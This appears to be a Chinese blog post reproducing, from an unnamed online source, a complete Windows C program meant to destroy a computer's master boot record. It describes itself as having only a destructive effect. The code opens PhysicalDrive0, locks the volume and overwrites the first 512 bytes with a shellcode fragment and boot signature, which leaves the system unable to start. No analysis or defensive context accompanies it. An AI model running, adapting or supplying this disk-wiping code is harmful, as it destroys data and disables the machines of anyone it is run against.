破坏MBR的代码

破坏MBR的代码,只有破坏作用,使系统无法进入。。。

来源于网上。。

#include <Windows.h>
#include <stdio.h>

//shellcode随便写了点 能破坏MBR,无法进入系统
unsigned char	scode[]=
	"\xb8\x12\x00"
	"\xcd\x10\xbd"
	"\x18\x7c\xb9";

DWORD writeMBR()
{
	DWORD dwBytesReturned;
	BYTE pMBR[512]={0};

	//将破坏代码写入变量pMBR
	memcpy(pMBR, scode, sizeof(scode));
	pMBR[510]=0x55;
	pMBR[511]=0xaa;

	//打开物理磁盘
	HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("createfile failed...");
		return -1;
	}

	//锁定卷,使用FSCTL_LOCK_VOLUME时,以下有几个参数设为NULL,0;
	/*Parameters
	hDevice
	A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 

	dwIoControlCode
	The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 

	lpInBuffer
	Not used with this operation; set to NULL.

	nInBufferSize
	Not used with this operation; set to zero.

	lpOutBuffer
	Not used with this operation; set to NULL.

	nOutBufferSize
	Not used with this operation; set to zero.

	lpBytesReturned
	A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */


	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	//写入磁盘文件 
	WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	return 0;
}

int main(int argc, char* argv[])
{
	writeMBR();
	return 0;
}


 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值